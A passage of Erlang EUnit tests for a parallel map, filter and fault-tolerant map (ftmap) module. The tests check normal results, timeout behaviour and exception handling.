ftmap_good_test() ->
Results = ftmap(fun(_) ->
ok
end,
lists:seq(1, 3), infinity),
?assertMatch([{value, ok}, {value, ok}, {value, ok}],
Results).
filter_good_test() ->
Results = filter(fun(X) ->
X == show
end,
[show, show, remove], infinity),
?assertMatch([show, show],
Results).
map_timeout_test() ->
Results =
try
map(fun(T) ->
timer:sleep(T),
T
end,
[1, 100], 10)
catch
C:E -> {C, E}
end,
?assertMatch({throw, timeout}, Results).
ftmap_timeout_test() ->
Results = ftmap(fun(X) ->
timer:sleep(X),
true
end,
[100, 1], 10),
?assertMatch([timeout, {value, true}], Results).
filter_timeout_test() ->
Results =
try
filter(fun(T) ->
timer:sleep(T),
T == 1
end,
[1, 100], 10)
catch
C:E -> {C, E}
end,
?assertMatch({throw, timeout}, Results).
map_bad_test() ->
Results =
try
map(fun(_) ->
throw(test_exception)
end,
lists:seq(1, 5), infinity)
catch
C:E -> {C, E}
end,
?assertMatch({throw, test_exception}, Results).
ftmap_bad_test() ->
Results =
ftmap(fun(2) ->
throw(test_exception);
(N) ->
N
end,
lists:seq(1, 5), infinity),
?assertMatch([{value, 1}, test_exception, {value, 3},
{value, 4}, {value, 5}] , Results).
-endif.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.